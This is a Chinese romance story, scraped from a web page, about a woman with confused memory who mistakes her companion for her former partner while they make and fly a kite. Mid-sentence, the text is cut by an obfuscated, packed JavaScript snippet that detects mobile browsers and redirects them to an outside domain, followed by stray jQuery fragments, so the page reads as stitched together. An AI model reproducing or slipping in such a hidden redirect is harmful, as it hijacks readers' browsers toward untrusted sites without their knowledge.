2024年5月18日
【我梦见你说想要买一整套星球纪念徽章。我买到了,但可能没有机会拿给你了】
2024年8月15日
【骗人】
“你画什么呢?”苏熠坐在石椅上,低头看了眼趴在脚边的叶星。
“画星星。”她趴在草地上,垫着一块木板涂写写画画。手边摊着一堆彩色马克笔,旁边已经堆出一座小小的纸山。
“我们这位艺术家,产量相当惊人啊。”他点头称赞。
叶星没理他,偏头对着趴在身边的小猫说:“花花,我们苏老师这么厉害,是不是该给他颁个奖呀?”
苏熠点了根蜡烛,把竹条放在火苗上烘烤,漫不经心地接话:“我们星星也很棒啊!会哭会闹,还会咬人,多才多艺。”
叶星轻哼一声,突然坐起身,把花花吓得往他脚边躲。苏熠拍了拍猫的脑袋,装作没去看她。
下一秒,叶星已经蹭了过来,像只猫一样从他胳膊下钻到他怀里,仰起脸撅着嘴看他。
“又想干嘛?”他低头看她,腾出一只手,用手背蹭了蹭她的脸。
“才艺展示。”叶星理直气壮地拉过他的手,在他手背上开始动笔。
“哇哦,我们星星今天还解锁了人体彩绘的新技能。”苏熠的手很配合地放在腿上,由着她折腾。
他低头看了一眼她的作品,眉头一挑:“你这画的什么?小狗吗?”
“什么小狗啊,是企鹅!”叶星不服气地拿笔指了指图案,“你看这肚皮,圆滚滚的!你不记得了吗?就是乌斯怀亚那个邮局的邮戳!”
他憋着笑,拉着她到草坪上坐下。叶星抱着花花靠在他身边,歪着头问:“你怎么还会做风筝啊?我记得你手超笨的。我们之前在乌斯怀亚的时候,在加油站做那个扩音器,你鼓捣了半天都没弄好。”
苏熠一边裁纸一边笑了笑:“我也就会这个。小时候看别人放风筝,特别羡慕。有一次帮爷爷干活,在田埂边捡到一个断线的风筝。我学着放,怎么都飞不起来,还被一群小孩笑了一路。后来爷爷就教我做了一个。”
叶星靠上他的肩膀,嘟囔着说:“我小时候都没放过风筝”
“一会儿教你,很简单的。”他抬手拍拍她的头。
她突然想起什么似的抬起头:“你说那个明信片怎么我一直没收到啊?我们蹲了三天才碰到那个邮局开门的!”
“以阿根廷那个办事效率……”他边说边贴胶水,“可能现在还躺在邮箱里呢。”
他很快就把她那张乱七八糟的涂鸦裁成了一颗星星的形状,贴到了做好的架子上。
“来吧,请我们这位抽象派艺术家介绍一下她这副神秘巨作。”苏熠一本正经地说。
叶星叉着腰,神情严肃地指点道:“这是花花!这是星星!这是舒克!这是飞机!这是一只鲸鱼!”
“舒克在过万圣节吗?怎么戴着个南瓜?”苏熠端着风筝,表情逐渐困惑。
“那是飞行帽!”她气鼓鼓地扑过去要抢风筝。
苏熠一手高举风筝,一手将她揽进怀里:“好好好,今年万圣节我就拿个南瓜给你做顶飞行帽,舒克同款。”
“我不理你了!我要去找她们玩!璐璐她们呢?”叶星往院子里扫了一圈,空荡荡的。
“一大早就穿着一身装备出门了,估计是徒步去了。”苏熠懒洋洋地倒在草坪上,把胳膊枕在脑后。
“那老李呢?”
“说是去帮杨姐买点东西。”他说着,伸手拉住她的手腕,把她往怀里带。
叶星蜷进他怀里,在他胸前拱来拱去,最后趴下来,抬眼看着他。
苏熠闭着眼,任她胡闹。四下静悄悄的,阳光落在他们肩头,能听见小猫呼噜噜。
“咦……”她忽然凑得很近,鼻尖几乎贴上他的脸,“你鼻子上怎么多了一颗痣?”
苏熠睁开一只眼瞥了她一眼,慢条斯理地摸了摸鼻尖:“不是痣,前几天刮胡子刮破了。”
“你怎么这么不小心?”她嘟囔着,手指已经探了过去。
他一把握住她的手指:“你怎么跟只猫似的,看到什么都要伸爪子碰一碰?”
“我就好奇嘛。”她说着,眼睛还是盯着他鼻尖。
他捻了捻她的指尖,带着一点玩味说道:“那你怎么不好奇点别的?”
他的眼神明显变了。叶星一下子红了脸,想把手抽回来,却被他稳稳缠住。
“你……”她皱着鼻子瞪他一眼,却又气又羞地说不出话来。
苏熠慢悠悠地说:“小点声,花花都被你吵醒了。”
小猫晃晃悠悠地爬起来,伸了个懒腰,绕着他们转了一圈,眯着眼往阳光地下走过去了。
叶星的心跳有点乱了节奏,干脆张嘴作势要咬他一口。
苏熠眼疾手快,一把捏住她的脸。他总爱这么逗她,看她眼睛瞪得圆溜溜,嘴巴一张一合,像只气鼓鼓的小企鹅。
“就咬一小口。”她还嘟囔着,不太服气。
“光天化日的,你就这么不收敛?”他皱着眉佯装叱责她,眼里却藏不住笑。
“还不是你乱说话。”她哼了一声,撇开眼,不想搭理他。
他一下一下捏着她的脸:“中午给你做炸鸡,好不好?”
“真哒?”她眼睛都亮了。
“真哒。”他笑着说,“早上你还在睡觉,我就把鸡翅腌好了。”
“那可乐呢?”
“放冰箱了。”他想了想,又补了一句,“柠檬片也切好了。”
“你怎么什么都会啊……”她嘟囔着,往他怀里蹭了蹭,又把脸贴在他胸口。
“嗯。”他抬手轻轻拍着她的背,“吃完饭歇一会儿,等不那么晒了,就带你去放风筝。”
“好。”
阳光像温热的泉水,从枝叶间缓缓流下来,将他们从头到脚包裹住。叶星闭着眼,贴在他胸口,听着他的心跳,一下、一下。
爱人的心跳,是宇宙的回声。她这样想着,几乎就要睡着了。
顾谨捡起一片枫叶,举在她头顶,挡住洒在她脸上的阳光。
他不确定她是不是真的睡着了,但她终于安静下来,他才算松了口气。
其实从早上起,他的心就一直悬着。要不要叫醒她?要不要留下?还是找个借口,晚点再来?她不是没有在白天认错人,只是次数不多,更多的时候是她自己产生幻觉,不需要他在场。
他原本准备好了一个拙劣的借口。如果她醒来看见厨
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15519577|168646||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
房的人是“顾谨”,那就说苏熠临时回天文台,让他来看着她。听起来很牵强,但也总比眼睁睁看着她崩溃好。
可她居然说他头发剪短了,还注意到他鼻尖上的痣。这是好转,还是她的情况更复杂了?恐怕连医生都很难判断。
如果她就这样继续认错下去,是不是也挺好?念头一冒出来,他便苦笑着摇了摇头。连他自己都觉得这种想法实在可耻。
叶星迷迷糊糊地睁开眼,伸了个懒腰,一边揉着眼角一边说要跟他一起做饭。
厨房太小,他的身形几乎挡住了整个操作台。叶星在他身边转来转去,嘴里絮絮叨叨,说些没头没尾的话。
其实,他也是才学会下厨没多久。
那时候她刚搬出去,屋子一下子空了。他翻着她留在冰箱上的便利贴,照着她的做法,一样一样学着做。
起初只是想凑合吃,后来却变成了一种执念,非要把她做过的菜复刻出来。
这鸡翅就是她最常做的那种。早上备料时,他发现少了一味调料。他愣了会儿,最终没去补。
锅里的油咕噜咕噜翻腾着,香气一层一层升起来。那些他学会的、偷来的、捏造的,全在这一锅冒泡的油里翻腾着。他知道,总有一天会在某个细节里露馅的。她总会发现,他不是她喜欢的味道。
突然,他感觉脚后跟一凉。叶星不知道什么时候蹲在他身后,抱着个药箱,正准备给他上药。他怕悄悄拿出手机,偷偷拍了张照。
饭后,叶星拍拍肚子,说自己晕碳,要小睡一下。她向来一午睡就是整个下午。他躺在她身旁,看着她呼吸渐稳,舍不得合上眼。
直到黄昏将近,他才摸了摸她的头:“去放风筝啦。”
叫她起床向来是冒险的事。真把她吵醒了,她是要发脾气的,得让她自己醒。
果然,叶星哼哼唧唧地搂住他的脖子,软绵绵地贴了上来。他满心欢喜,几乎是立刻回抱住她。他是真的很喜欢叶星粘着他。
“走嘛,”他在她耳边落下一个吻,“放风筝哦。”
她揉了揉脸,眼神还有些迷糊,忽然“蹭”地坐起来:“走!”
他笑着一把将她拉进怀里,吻上她的唇:“还可以让你赖十分钟。”
她推了他一下,却还是回应了他的吻。
风和阳光都很软,山坡上的芒草摇摇摆摆,像刚洗完的毛毯。
叶星高举着风筝一头扎进风里。苏熠手里握着线轴,跟着她的步伐慢慢放线。
看着距离差不多了,苏熠朝着她喊道:“放手吧!”这一声让他心里有些颤抖。
“飞起来了!”叶星高喊着,笑声被风吹散,踉踉跄跄地冲进他怀里。
苏熠把她圈进怀里,将手里的线交到她手上。
山坡下是整个小镇,晚霞在屋顶闪着金色的光。天边的云层镶了金边。他们的星星乘风而上,越飞越远。
“我小时候从来没放过风筝。”叶星靠在他怀里软软地说着。
苏熠牵着线的手稍微往下压了压,又放了放线。叶星有些紧张地看着风筝:“飞太高会不会断了?”
“你想把它放走,还是收回来。”
“当然是收回来啊!我要找个框把它裱起来!”
“好。”